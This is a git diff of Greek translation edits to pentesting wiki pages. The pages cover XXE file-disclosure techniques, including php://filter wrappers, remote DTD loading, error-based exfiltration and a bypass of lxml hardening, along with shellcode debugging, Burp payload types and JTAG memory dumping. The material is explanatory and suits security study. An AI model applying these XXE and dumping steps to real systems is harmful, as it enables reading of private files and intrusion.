Protocol Bypass -Αν ο ιστότοπος χρησιμοποιεί PHP, αντί να χρησιμοποιήσετε `file:/` μπορείτε να χρησιμοποιήσετε **php wrappers**`php://filter/convert.base64-encode/resource=` για να **πρόσβαση σε εσωτερικά αρχεία**. +Αν ο ιστότοπος χρησιμοποιεί PHP, αντί να χρησιμοποιήσετε `file:/` μπορείτε να χρησιμοποιήσετε **php wrappers** `php://filter/convert.base64-encode/resource=` για να **πρόσβαση σε εσωτερικά αρχεία**. Αν ο ιστότοπος χρησιμοποιεί Java, μπορείτε να ελέγξετε το [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol). ### HTML Entities -Trick from [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\ +Trick από [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\ Μπορείτε να δημιουργήσετε μια **οντότητα μέσα σε μια οντότητα** κωδικοποιώντας την με **html entities** και στη συνέχεια να την καλέσετε για να **φορτώσετε ένα dtd**.\ Σημειώστε ότι οι **HTML Entities** που χρησιμοποιούνται πρέπει να είναι **αριθμητικές** (όπως \[σε αυτό το παράδειγμα]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\]()). ```xml @@ -448,7 +449,7 @@ DTD παράδειγμα: ### Base64 -**Εξαγωγή** _**index.php**_ +**Extract** _**index.php**_ ```xml ]> ``` @@ -492,7 +493,7 @@ Content-Type: application/x-xliff+xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` -Ωστόσο, αυτό το αίτημα προκαλεί ένα εσωτερικό σφάλμα διακομιστή, αναφέροντας συγκεκριμένα ένα πρόβλημα με τις δηλώσεις markup: +Ωστόσο, αυτό το αίτημα προκαλεί ένα σφάλμα εσωτερικού διακομιστή, αναφέροντας συγκεκριμένα ένα πρόβλημα με τις δηλώσεις markup: ```json { "status": 500, @@ -514,7 +515,7 @@ Content-Type: application/x-xliff+xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` -Αυτή η προσέγγιση αποκαλύπτει ότι ο User Agent υποδεικνύει τη χρήση του Java 1.8. Ένας παρατηρούμενος περιορισμός με αυτή την έκδοση του Java είναι η αδυναμία ανάκτησης αρχείων που περιέχουν χαρακτήρα αλλαγής γραμμής, όπως το /etc/passwd, χρησιμοποιώντας την τεχνική Out of Band. +Αυτή η προσέγγιση αποκαλύπτει ότι ο User Agent υποδεικνύει τη χρήση του Java 1.8. Ένας παρατηρούμενος περιορισμός με αυτή την έκδοση του Java είναι η αδυναμία ανάκτησης αρχείων που περιέχουν χαρακτήρα νέας γραμμής, όπως το /etc/passwd, χρησιμοποιώντας την τεχνική Out of Band. Error-Based Data Exfiltration Για να ξεπεραστεί αυτός ο περιορισμός, χρησιμοποιείται μια προσέγγιση Error-Based. Το αρχείο DTD είναι δομημένο ως εξής για να προκαλέσει ένα σφάλμα που περιλαμβάνει δεδομένα από ένα στοχευμένο αρχείο: ```xml @@ -534,7 +535,7 @@ Error-Based Data Exfiltration Για να ξεπεραστεί αυτός ο π %foo; %xxe; ``` -Αυτή η τροποποίηση οδηγεί στην επιτυχή εξαγωγή του περιεχομένου του αρχείου, καθώς αντικατοπτρίζεται στην έξοδο σφάλματος που αποστέλλεται μέσω HTTP. Αυτό υποδηλώνει μια επιτυχή επίθεση XXE (XML External Entity), εκμεταλλευόμενη τόσο τις τεχνικές Out of Band όσο και Error-Based για την εξαγωγή ευαίσθητων πληροφοριών. +Αυτή η τροποποίηση οδηγεί στην επιτυχία της εξαγωγής του περιεχομένου του αρχείου, καθώς αντικατοπτρίζεται στην έξοδο σφάλματος που αποστέλλεται μέσω HTTP. Αυτό υποδηλώνει μια επιτυχημένη επίθεση XXE (XML External Entity), εκμεταλλευόμενη τόσο τις τεχνικές Out of Band όσο και Error-Based για την εξαγωγή ευαίσθητων πληροφοριών. ## RSS - XEE @@ -677,6 +678,7 @@ XMLDecoder είναι μια κλάση Java που δημιουργεί αντ ## Tools + {{#ref}} https://github.com/luisfontes19/xxexploiter {{#endref}} @@ -684,15 +686,15 @@ https://github.com/luisfontes19/xxexploiter ### Python lxml Parameter-Entity XXE (Error-Based File Disclosure) > [!INFO] -> Η βιβλιοθήκη Python **lxml** χρησιμοποιεί **libxml2** από κάτω. Οι εκδόσεις πριν από **lxml 5.4.0 / libxml2 2.13.8** επεκτείνουν ακόμα τις *παραμέτρους* οντότητες ακόμη και όταν `resolve_entities=False`, καθιστώντας τις προσβάσιμες όταν η εφαρμογή ενεργοποιεί `load_dtd=True` και/ή `resolve_entities=True`. Αυτό επιτρέπει τα Error-Based XXE payloads που ενσωματώνουν τα περιεχόμενα τοπικών αρχείων στο μήνυμα σφάλματος του αναλυτή. +> Η βιβλιοθήκη Python **lxml** χρησιμοποιεί **libxml2** από κάτω. Οι εκδόσεις πριν από **lxml 5.4.0 / libxml2 2.13.8** επεκτείνουν ακόμα τις *parameter* οντότητες ακόμη και όταν `resolve_entities=False`, καθιστώντας τις προσβάσιμες όταν η εφαρμογή ενεργοποιεί `load_dtd=True` και/ή `resolve_entities=True`. Αυτό επιτρέπει τα Error-Based XXE payloads που ενσωματώνουν τα περιεχόμενα τοπικών αρχείων στο μήνυμα σφάλματος του αναλυτή. #### 1. Εκμετάλλευση lxml < 5.4.0 -1. Εντοπίστε ή δημιουργήστε μια *τοπική* DTD στο δίσκο που ορίζει μια **μη καθορισμένη** παράμετρο οντότητας (π.χ. `%config_hex;`). +1. Εντοπίστε ή δημιουργήστε μια *τοπική* DTD στον δίσκο που ορίζει μια **μη καθορισμένη** παράμετρο οντότητα (π.χ. `%config_hex;`). 2. Δημιουργήστε μια εσωτερική DTD που: * Φορτώνει την τοπική DTD με ``. * Επανακαθορίζει την μη καθορισμένη οντότητα έτσι ώστε να: - Διαβάζει το στοχευμένο αρχείο (``). -- Δημιουργεί μια άλλη παράμετρο οντότητας που αναφέρεται σε μια **μη έγκυρη διαδρομή** που περιέχει την τιμή `%flag;` και προκαλεί σφάλμα αναλυτή (`">`). +- Δημιουργεί μια άλλη παράμετρο οντότητα που αναφέρεται σε μια **μη έγκυρη διαδρομή** που περιέχει την τιμή `%flag;` και προκαλεί σφάλμα αναλυτή (`">`). 3. Τέλος, επεκτείνετε `%local_dtd;` και `%eval;` έτσι ώστε ο αναλυτής να συναντήσει `%error;`, να αποτύχει να ανοίξει το `/aaa/` και να διαρρεύσει τη σημαία μέσα στην εξαίρεση που ρίχνεται – η οποία συχνά επιστρέφεται στον χρήστη από την εφαρμογή. ```xml [!TIP] -> Αν ο αναλυτής παραπονιέται για χαρακτήρες `%`/`&` μέσα στο εσωτερικό υποσύνολο, κωδικοποιήστε τους διπλά (`&#x25;` ⇒ `%`) για να καθυστερήσετε την επέκταση. +> Αν ο αναλυτής παραπονιέται για τους χαρακτήρες `%`/`&` μέσα στο εσωτερικό υποσύνολο, κωδικοποιήστε τους διπλά (`&#x25;` ⇒ `%`) για να καθυστερήσετε την επέκταση. #### 2. Παράκαμψη της σκληροποίησης lxml 5.4.0 (libxml2 ακόμα ευάλωτο) -`lxml` ≥ 5.4.0 απαγορεύει τις οντότητες παραμέτρων *error* όπως η παραπάνω, αλλά **libxml2** εξακολουθεί να επιτρέπει την ενσωμάτωσή τους σε μια *γενική* οντότητα. Το κόλπο είναι να: +`lxml` ≥ 5.4.0 απαγορεύει τις οντότητες παραμέτρων *error* όπως αυτή παραπάνω, αλλά **libxml2** εξακολουθεί να επιτρέπει την ενσωμάτωσή τους σε μια *γενική* οντότητα. Το κόλπο είναι να: 1. Διαβάσετε το αρχείο σε μια οντότητα παραμέτρου `%file`. -2. Δηλώσετε μια άλλη οντότητα παραμέτρου που δημιουργεί μια **γενική** οντότητα `c` της οποίας ο αναγνωριστής SYSTEM χρησιμοποιεί ένα *ανύπαρκτο πρωτόκολλο* όπως `meow://%file;`. +2. Δηλώσετε μια άλλη οντότητα παραμέτρου που δημιουργεί μια **γενική** οντότητα `c` της οποίας ο προσδιοριστής SYSTEM χρησιμοποιεί ένα *ανύπαρκτο πρωτόκολλο* όπως `meow://%file;`. 3. Τοποθετήστε `&c;` στο σώμα XML. Όταν ο αναλυτής προσπαθεί να αποδεσμεύσει το `meow://…` αποτυγχάνει και ανακλά την πλήρη URI – συμπεριλαμβανομένων των περιεχομένων του αρχείου – στο μήνυμα σφάλματος. ```xml ) -Αυτό είναι απαραίτητο γιατί αν δεν το κάνετε αυτό, κατά τη διάρκεια της **εκτέλεσης** θα εφαρμοστούν πολλές **βελτιστοποιήσεις** στον κώδικα και μπορεί να είναι δυνατόν ότι κατά την αποσφαλμάτωση ένα **break-point δεν θα χτυπηθεί** ή κάποιες **μεταβλητές δεν θα υπάρχουν**. +Αυτό είναι απαραίτητο γιατί αν δεν το κάνετε αυτό, κατά τη διάρκεια της **εκτέλεσης** θα εφαρμοστούν πολλές **βελτιστοποιήσεις** στον κώδικα και είναι πιθανό ότι κατά την αποσφαλμάτωση ένα **break-point δεν θα χτυπηθεί** ή κάποιες **μεταβλητές δεν θα υπάρχουν**. -Στη συνέχεια, αν η εφαρμογή .NET σας εκτελείται από το **IIS** μπορείτε να την **επανεκκινήσετε** με: +Στη συνέχεια, αν η εφαρμογή .NET σας εκτελείται από **IIS** μπορείτε να την **επανεκκινήσετε** με: ``` iisreset /noforce ``` @@ -92,13 +92,13 @@ iisreset /noforce ![](<../../images/image (113).png>) -Τώρα που αποσφαλματώνουμε τη διαδικασία, ήρθε η ώρα να την σταματήσουμε και να φορτώσουμε όλα τα modules. Αρχικά, κάντε κλικ στο _Debug >> Break All_ και στη συνέχεια κάντε κλικ στο _**Debug >> Windows >> Modules**_: +Τώρα που αποσφαλματώνουμε τη διαδικασία, ήρθε η ώρα να την σταματήσουμε και να φορτώσουμε όλα τα modules. Πρώτα κάντε κλικ στο _Debug >> Break All_ και στη συνέχεια κάντε κλικ στο _**Debug >> Windows >> Modules**_: ![](<../../images/image (132).png>) ![](<../../images/image (834).png>) -Κάντε κλικ σε οποιοδήποτε module στην **Modules** και επιλέξτε **Άνοιγμα Όλων των Modules**: +Κάντε κλικ σε οποιοδήποτε module στο **Modules** και επιλέξτε **Άνοιγμα Όλων των Modules**: ![](<../../images/image (922).png>) @@ -134,9 +134,9 @@ iisreset /noforce - **Φορτώστε το rundll32** (64bit στο C:\Windows\System32\rundll32.exe και 32bit στο C:\Windows\SysWOW64\rundll32.exe) - **Αλλάξτε τη Γραμμή Εντολών** (_File --> Change Command Line_) και ορίστε το μονοπάτι της dll και τη συνάρτηση που θέλετε να καλέσετε, για παράδειγμα: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain - Αλλάξτε _Options --> Settings_ και επιλέξτε "**DLL Entry**". -- Στη συνέχεια, **ξεκινήστε την εκτέλεση**, ο αποσφαλματωτής θα σταματήσει σε κάθε κύρια dll, σε κάποιο σημείο θα **σταματήσετε στην είσοδο της dll σας**. Από εκεί, απλώς αναζητήστε τα σημεία όπου θέλετε να βάλετε ένα breakpoint. +- Στη συνέχεια **ξεκινήστε την εκτέλεση**, ο αποσφαλματωτής θα σταματήσει σε κάθε κύρια dll, σε κάποιο σημείο θα **σταματήσετε στην είσοδο της dll σας**. Από εκεί, απλώς αναζητήστε τα σημεία όπου θέλετε να βάλετε ένα σημείο διακοπής. -Σημειώστε ότι όταν η εκτέλεση σταματήσει για οποιονδήποτε λόγο στο win64dbg μπορείτε να δείτε **σε ποιον κώδικα βρίσκεστε** κοιτάζοντας στην **κορυφή του παραθύρου win64dbg**: +Σημειώστε ότι όταν η εκτέλεση σταματήσει για οποιονδήποτε λόγο στο win64dbg μπορείτε να δείτε **σε ποιον κώδικα βρίσκεστε** κοιτάζοντας **στην κορυφή του παραθύρου win64dbg**: ![](<../../images/image (842).png>) @@ -165,7 +165,7 @@ https://github.com/nongiach/arm_now ### Αποσφαλμάτωση ενός shellcode με το blobrunner [**Blobrunner**](https://github.com/OALabs/BlobRunner) θα **κατανείμει** το **shellcode** μέσα σε έναν χώρο μνήμης, θα **υποδείξει** τη **διεύθυνση μνήμης** όπου το shellcode κατανέμεται και θα **σταματήσει** την εκτέλεση.\ -Στη συνέχεια, πρέπει να **συνδέσετε έναν αποσφαλματωτή** (Ida ή x64dbg) στη διαδικασία και να βάλετε ένα **breakpoint στη διεύθυνση μνήμης που υποδείχθηκε** και να **συνεχίσετε** την εκτέλεση. Με αυτόν τον τρόπο θα αποσφαλματώνετε το shellcode. +Στη συνέχεια, πρέπει να **συνδέσετε έναν αποσφαλματωτή** (Ida ή x64dbg) στη διαδικασία και να βάλετε ένα **σημείο διακοπής στη υποδεικνυόμενη διεύθυνση μνήμης** και να **συνεχίσετε** την εκτέλεση. Με αυτόν τον τρόπο θα αποσφαλματώνετε το shellcode. Η σελίδα κυκλοφορίας στο github περιέχει zip που περιέχουν τις εκδόσεις που έχουν κατασκευαστεί: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\ Μπορείτε να βρείτε μια ελαφρώς τροποποιημένη έκδοση του Blobrunner στον παρακάτω σύνδεσμο. Για να το κατασκευάσετε, απλώς **δημιουργήστε ένα έργο C/C++ στο Visual Studio Code, αντιγράψτε και επικολλήστε τον κώδικα και κατασκευάστε το**. @@ -176,7 +176,7 @@ blobrunner.md ### Αποσφαλμάτωση ενός shellcode με το jmp2it -[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)είναι πολύ παρόμοιο με το blobrunner. Θα **κατανείμει** το **shellcode** μέσα σε έναν χώρο μνήμης και θα ξεκινήσει έναν **αιώνιο βρόχο**. Στη συνέχεια, πρέπει να **συνδέσετε τον αποσφαλματωτή** στη διαδικασία, **πατήστε start, περιμένετε 2-5 δευτερόλεπτα και πατήστε stop** και θα βρεθείτε μέσα στον **αιώνιο βρόχο**. Πηδήξτε στην επόμενη εντολή του αιώνιου βρόχου καθώς θα είναι μια κλήση στο shellcode, και τελικά θα βρεθείτε να εκτελείτε το shellcode. +[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)είναι πολύ παρόμοιο με το blobrunner. Θα **κατανείμει** το **shellcode** μέσα σε έναν χώρο μνήμης και θα ξεκινήσει έναν **αιώνιο βρόχο**. Στη συνέχεια, πρέπει να **συνδέσετε τον αποσφαλματωτή** στη διαδικασία, **πατήστε έναρξη, περιμένετε 2-5 δευτερόλεπτα και πατήστε σταμάτημα** και θα βρεθείτε μέσα στον **αιώνιο βρόχο**. Μεταβείτε στην επόμενη εντολή του αιώνιου βρόχου καθώς θα είναι μια κλήση στο shellcode, και τελικά θα βρεθείτε να εκτελείτε το shellcode. ![](<../../images/image (509).png>) @@ -212,7 +212,7 @@ scdbg.exe -f shellcode -d #Dump decoded shellcode scdbg.exe -f shellcode /findsc #Find offset where starts scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset ``` -scDbg διαθέτει επίσης έναν γραφικό εκκινητή όπου μπορείτε να επιλέξετε τις επιλογές που θέλετε και να εκτελέσετε τον shellcode +scDbg διαθέτει επίσης έναν γραφικό εκκινητή όπου μπορείτε να επιλέξετε τις επιλογές που θέλετε και να εκτελέσετε τον shellcode. ![](<../../images/image (258).png>) @@ -229,7 +229,7 @@ scDbg διαθέτει επίσης έναν γραφικό εκκινητή ό - [https://www.youtube.com/watch?v=2VF_wPkiBJY](https://www.youtube.com/watch?v=2VF_wPkiBJY) - [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf) -Αν έχετε τύχη, ο [demovfuscator](https://github.com/kirschju/demovfuscator) θα απο-ομπλουτίσει το δυαδικό. Έχει αρκετές εξαρτήσεις +Αν είστε τυχεροί, ο [demovfuscator](https://github.com/kirschju/demovfuscator) θα απο-ομπλουκώσει το δυαδικό. Έχει αρκετές εξαρτήσεις. ``` apt-get install libcapstone-dev apt-get install libz3-dev @@ -240,11 +240,11 @@ apt-get install libz3-dev ## Rust -Για να βρείτε το **entry point** αναζητήστε τις συναρτήσεις με `::main` όπως στο: +Για να βρείτε το **σημείο εισόδου** αναζητήστε τις συναρτήσεις με `::main` όπως στο: ![](<../../images/image (1080).png>) -Σε αυτή την περίπτωση το δυαδικό αρχείο ονομάζεται authenticator, οπότε είναι προφανές ότι αυτή είναι η ενδιαφέρουσα κύρια συνάρτηση.\ +Σε αυτή την περίπτωση, το δυαδικό αρχείο ονομάζεται authenticator, οπότε είναι προφανές ότι αυτή είναι η ενδιαφέρουσα κύρια συνάρτηση.\ Έχοντας το **όνομα** των **συναρτήσεων** που καλούνται, αναζητήστε τις στο **Διαδίκτυο** για να μάθετε για τις **εισόδους** και **εξόδους** τους. ## **Delphi** @@ -269,7 +269,8 @@ apt-get install libz3-dev ## Compiled Python -Σε αυτή τη σελίδα μπορείτε να βρείτε πώς να αποκτήσετε τον κώδικα python από ένα δυαδικό αρχείο python που έχει μεταγλωττιστεί ELF/EXE: +Σε αυτή τη σελίδα μπορείτε να βρείτε πώς να αποκτήσετε τον κώδικα python από ένα δυαδικό αρχείο python που έχει μεταγλωττιστεί σε ELF/EXE: + {{#ref}} ../../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -277,7 +278,7 @@ apt-get install libz3-dev ## GBA - Game Body Advance -Αν αποκτήσετε το **δυαδικό** ενός παιχνιδιού GBA, μπορείτε να χρησιμοποιήσετε διάφορα εργαλεία για να **εξομοιώσετε** και να **αποσφαλματώσετε**: +Αν αποκτήσετε το **δυαδικό** ενός παιχνιδιού GBA, μπορείτε να χρησιμοποιήσετε διάφορα εργαλεία για να **προσομοιώσετε** και να **αποσφαλματώσετε**: - [**no$gba**](https://problemkaputt.de/gba.htm) (_Κατεβάστε την έκδοση αποσφαλμάτωσης_) - Περιέχει έναν αποσφαλματωτή με διεπαφή - [**mgba** ](https://mgba.io)- Περιέχει έναν CLI αποσφαλματωτή @@ -368,13 +369,13 @@ FUN_08000864(); if (uVar1 == 0x10) { DAT_030000d8 = DAT_030000d8 + 0x3a; ``` -Στον προηγούμενο κώδικα μπορείτε να δείτε ότι συγκρίνουμε **uVar1** (το σημείο όπου είναι **η τιμή του πατημένου κουμπιού**) με κάποιες τιμές: +Στον προηγούμενο κώδικα μπορείτε να δείτε ότι συγκρίνουμε **uVar1** (το σημείο όπου βρίσκεται η **τιμή του πατημένου κουμπιού**) με κάποιες τιμές: - Πρώτα, συγκρίνεται με την **τιμή 4** (**SELECT** κουμπί): Στην πρόκληση αυτό το κουμπί καθαρίζει την οθόνη. - Στη συνέχεια, συγκρίνεται με την **τιμή 8** (**START** κουμπί): Στην πρόκληση αυτό ελέγχει αν ο κωδικός είναι έγκυρος για να πάρει τη σημαία. - Σε αυτή την περίπτωση, η μεταβλητή **`DAT_030000d8`** συγκρίνεται με 0xf3 και αν η τιμή είναι η ίδια εκτελείται κάποιος κώδικας. -- Σε οποιαδήποτε άλλη περίπτωση, ελέγχεται κάποιος μετρητής (`DAT_030000d4`). Είναι μετρητής γιατί προσθέτει 1 αμέσως μετά την είσοδο στον κώδικα.\ -**Α**ν είναι λιγότερο από 8, γίνεται κάτι που περιλαμβάνει **προσθήκη** τιμών στη **`DAT_030000d8`** (βασικά προσθέτει τις τιμές των πατημένων πλήκτρων σε αυτή τη μεταβλητή όσο ο μετρητής είναι λιγότερος από 8). +- Σε οποιαδήποτε άλλη περίπτωση, ελέγχεται κάποια cont (`DAT_030000d4`). Είναι μια cont γιατί προσθέτει 1 αμέσως μετά την είσοδο στον κώδικα.\ +**Α**ν είναι λιγότερο από 8, γίνεται κάτι που περιλαμβάνει **προσθήκη** τιμών στη **`DAT_030000d8`** (βασικά προσθέτει τις τιμές των πατημένων πλήκτρων σε αυτή τη μεταβλητή όσο η cont είναι λιγότερη από 8). Έτσι, σε αυτή την πρόκληση, γνωρίζοντας τις τιμές των κουμπιών, έπρεπε να **πατήσετε έναν συνδυασμό με μήκος μικρότερο από 8 ώστε η προκύπτουσα προσθήκη να είναι 0xf3.** @@ -382,6 +383,7 @@ DAT_030000d8 = DAT_030000d8 + 0x3a; ## Game Boy + {{#ref}} https://www.youtube.com/watch?v=VVbRe7wr3G4 {{#endref}} diff --git a/src/todo/burp-suite.md b/src/todo/burp-suite.md index b6aaf956a..c9757028e 100644 --- a/src/todo/burp-suite.md +++ b/src/todo/burp-suite.md @@ -1,14 +1,16 @@ +# Burp Suite + {{#include ../banners/hacktricks-training.md}} -# Βασικά Payloads +## Βασικοί Φορτωτές - **Απλή Λίστα:** Απλώς μια λίστα που περιέχει μια καταχώρηση σε κάθε γραμμή -- **Αρχείο Εκτέλεσης:** Μια λίστα που διαβάζεται κατά την εκτέλεση (όχι φορτωμένη στη μνήμη). Για υποστήριξη μεγάλων λιστών. -- **Τροποποίηση Περίπτωσης:** Εφαρμόστε κάποιες αλλαγές σε μια λίστα από συμβολοσειρές (Καμία αλλαγή, σε μικρά, σε ΜΕΓΑΛΑ, σε Κανονικό όνομα - Πρώτο κεφαλαίο και τα υπόλοιπα σε μικρά-, σε Κανονικό Όνομα - Πρώτο κεφαλαίο και τα υπόλοιπα παραμένουν τα ίδια-). +- **Αρχείο Εκτέλεσης:** Μια λίστα που διαβάζεται κατά την εκτέλεση (δεν φορτώνεται στη μνήμη). Για υποστήριξη μεγάλων λιστών. +- **Τροποποίηση Περίπτωσης:** Εφαρμόστε κάποιες αλλαγές σε μια λίστα από συμβολοσειρές (Καμία αλλαγή, σε μικρά, σε ΚΕΦΑΛΑΙΑ, σε Κανονικό όνομα - Πρώτο κεφαλαίο και τα υπόλοιπα σε μικρά-, σε Κανονικό Όνομα - Πρώτο κεφαλαίο και τα υπόλοιπα παραμένουν τα ίδια-). - **Αριθμοί:** Δημιουργία αριθμών από X έως Y χρησιμοποιώντας βήμα Z ή τυχαία. -- **Brute Forcer:** Σετ χαρακτήρων, ελάχιστο & μέγιστο μήκος. +- **Brute Forcer:** Σύνολο χαρακτήρων, ελάχιστο & μέγιστο μήκος. -[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload για την εκτέλεση εντολών και την απόκτηση της εξόδου μέσω DNS αιτημάτων προς το burpcollab. +[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Φορτωτής για εκτέλεση εντολών και λήψη της εξόδου μέσω DNS αιτημάτων στο burpcollab. {{#ref}} https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e diff --git a/src/todo/hardware-hacking/jtag.md b/src/todo/hardware-hacking/jtag.md index 1ba3e10e8..3aad45164 100644 --- a/src/todo/hardware-hacking/jtag.md +++ b/src/todo/hardware-hacking/jtag.md @@ -2,6 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} + {{#ref}} README.md {{#endref}} @@ -13,10 +14,10 @@ README.md - Arduino: συνδέστε τις ψηφιακές ακίδες D2–D11 σε έως 10 υποψήφιες ακίδες/testpoints JTAG, και το GND του Arduino στο GND του στόχου. Τροφοδοτήστε τον στόχο ξεχωριστά εκτός αν γνωρίζετε ότι η γραμμή είναι ασφαλής. Προτιμήστε λογική 3.3 V (π.χ., Arduino Due) ή χρησιμοποιήστε έναν μετατροπέα επιπέδου/σειριακούς αντιστάτες όταν ελέγχετε στόχους 1.8–3.3 V. - Raspberry Pi: η κατασκευή του Pi εκθέτει λιγότερες χρησιμοποιήσιμες GPIOs (έτσι οι σαρώσεις είναι πιο αργές); ελέγξτε το repo για τον τρέχοντα χάρτη ακίδων και περιορισμούς. -Αφού αναβοσβήσετε, ανοίξτε τον σειριακό παρατηρητή στα 115200 baud και στείλτε `h` για βοήθεια. Τυπική ροή: +Αφού αναβοσβήσετε, ανοίξτε τον σειριακό παρακολούθηση στα 115200 baud και στείλτε `h` για βοήθεια. Τυπική ροή: - `l` βρείτε loopbacks για να αποφύγετε ψευδώς θετικά -- `r` εναλλάξτε τις εσωτερικές pull‑ups αν χρειάζεται +- `r` εναλλάξτε εσωτερικές pull‑ups αν χρειαστεί - `s` σαρώστε για TCK/TMS/TDI/TDO (και μερικές φορές TRST/SRST) - `y` brute‑force IR για να ανακαλύψετε μη τεκμηριωμένες εντολές - `x` στιγμιότυπο boundary‑scan των καταστάσεων ακίδων @@ -55,17 +56,19 @@ openocd -f interface/jlink.cfg -c "transport select jtag; adapter speed 1000" \ openocd -f board/esp32s3-builtin.cfg -c "init; scan_chain; shutdown" ``` Σημειώσεις -- Εάν λάβετε "όλα 1/0" IDCODE, ελέγξτε την καλωδίωση, την τροφοδοσία, το Vtref και ότι η θύρα δεν είναι κλειδωμένη από ασφάλειες/επιλογές. +- Αν λάβετε "όλα τα 1/0" IDCODE, ελέγξτε την καλωδίωση, την τροφοδοσία, το Vtref και ότι η θύρα δεν είναι κλειδωμένη από ασφάλειες/επιλογές. - Δείτε το OpenOCD χαμηλού επιπέδου `irscan`/`drscan` για χειροκίνητη αλληλεπίδραση TAP κατά την εκκίνηση άγνωστων αλυσίδων. ## Σταμάτημα της CPU και εκφόρτωση μνήμης/flash -Αφού αναγνωριστεί το TAP και επιλεγεί ένα σενάριο στόχου, μπορείτε να σταματήσετε τον πυρήνα και να εκφορτώσετε περιοχές μνήμης ή εσωτερικό flash. Παραδείγματα (προσαρμόστε τον στόχο, τις βασικές διευθύνσεις και τα μεγέθη): +Αφού αναγνωριστεί το TAP και επιλεγεί ένα σενάριο στόχου, μπορείτε να σταματήσετε τον πυρήνα και να εκφορτώσετε περιοχές μνήμης ή εσωτερικό flash. Παραδείγματα (προσαρμόστε τον στόχο, τις βασικές διευθύνσεις και τα μεγέθη): + +- Γενικός στόχος μετά την αρχικοποίηση: ``` openocd -f interface/jlink.cfg -f target/stm32f1x.cfg \ -c "init; reset halt; mdw 0x08000000 4; dump_image flash.bin 0x08000000 0x00100000; shutdown" ``` -- RISC‑V SoC (προτιμήστε SBA όταν είναι διαθέσιμο): +- RISC‑V SoC (προτιμήστε το SBA όταν είναι διαθέσιμο): ``` openocd -f interface/ftdi/ft232h.cfg -f target/riscv.cfg \ -c "init; riscv set_prefer_sba on; halt; dump_image sram.bin 0x80000000 0x20000; shutdown" @@ -83,7 +86,7 @@ Tips Ακόμα και όταν η πρόσβαση αποσφαλμάτωσης της CPU είναι κλειδωμένη, το boundary-scan μπορεί να είναι ακόμα εκτεθειμένο. Με το UrJTAG/OpenOCD μπορείτε να: - SAMPLE για να αποτυπώσετε τις καταστάσεις των ακίδων ενώ το σύστημα τρέχει (βρείτε δραστηριότητα λεωφόρου, επιβεβαιώστε την αντιστοίχιση ακίδων). -- EXTEST για να οδηγήσετε ακίδες (π.χ., bit-bang εξωτερικές γραμμές SPI flash μέσω του MCU για να τις διαβάσετε εκτός σύνδεσης αν το καλωδίωμα της πλακέτας το επιτρέπει). +- EXTEST για να οδηγήσετε ακίδες (π.χ., bit-bang εξωτερικές γραμμές SPI flash μέσω του MCU για να τις διαβάσετε εκτός σύνδεσης αν η καλωδίωση της πλακέτας το επιτρέπει). Ελάχιστη ροή UrJTAG με προσαρμογέα FT2232x: ``` @@ -95,20 +98,20 @@ jtag> instruction EXTEST jtag> shift ir jtag> dr ``` -Πρέπει να έχετε το BSDL της συσκευής για να γνωρίζετε τη σειρά των bits των καταχωρητών ορίου. Προσοχή, ορισμένοι προμηθευτές κλειδώνουν τα κύτταρα ανίχνευσης ορίου στην παραγωγή. +Πρέπει να έχετε το BSDL της συσκευής για να γνωρίζετε τη σειρά των bits των καταχωρητών ορίου. Προσέξτε ότι ορισμένοι προμηθευτές κλειδώνουν τα κύτταρα ανίχνευσης ορίου στην παραγωγή. ## Σύγχρονοι στόχοι και σημειώσεις -- ESP32‑S3/C3 περιλαμβάνουν μια εγγενή γέφυρα USB‑JTAG; Το OpenOCD μπορεί να επικοινωνεί απευθείας μέσω USB χωρίς εξωτερικό αισθητήρα. Πολύ βολικό για τριχοτόμηση και dumps. +- ESP32‑S3/C3 περιλαμβάνουν μια εγγενή γέφυρα USB‑JTAG; Το OpenOCD μπορεί να επικοινωνεί απευθείας μέσω USB χωρίς εξωτερικό αισθητήρα. Πολύ βολικό για τριχοτόμηση και εκφορτώσεις. - Η αποσφαλμάτωση RISC‑V (v0.13+) υποστηρίζεται ευρέως από το OpenOCD; προτιμήστε το SBA για πρόσβαση στη μνήμη όταν ο πυρήνας δεν μπορεί να σταματήσει με ασφάλεια. -- Πολλοί MCUs υλοποιούν αυθεντικοποίηση αποσφαλμάτωσης και καταστάσεις κύκλου ζωής. Εάν το JTAG φαίνεται νεκρό αλλά η τροφοδοσία είναι σωστή, η συσκευή μπορεί να είναι συγκολλημένη σε κλειστή κατάσταση ή να απαιτεί έναν αυθεντικοποιημένο αισθητήρα. +- Πολλοί MCU υλοποιούν αυθεντικοποίηση αποσφαλμάτωσης και καταστάσεις κύκλου ζωής. Εάν το JTAG φαίνεται νεκρό αλλά η τροφοδοσία είναι σωστή, η συσκευή μπορεί να έχει συγκολληθεί σε κλειστή κατάσταση ή να απαιτεί έναν αυθεντικοποιημένο αισθητήρα. ## Άμυνες και σκληραγώγηση (τι να περιμένετε σε πραγματικές συσκευές) - Μόνιμα απενεργοποιήστε ή κλειδώστε το JTAG/SWD στην παραγωγή (π.χ., STM32 RDP επίπεδο 2, ESP eFuses που απενεργοποιούν το PAD 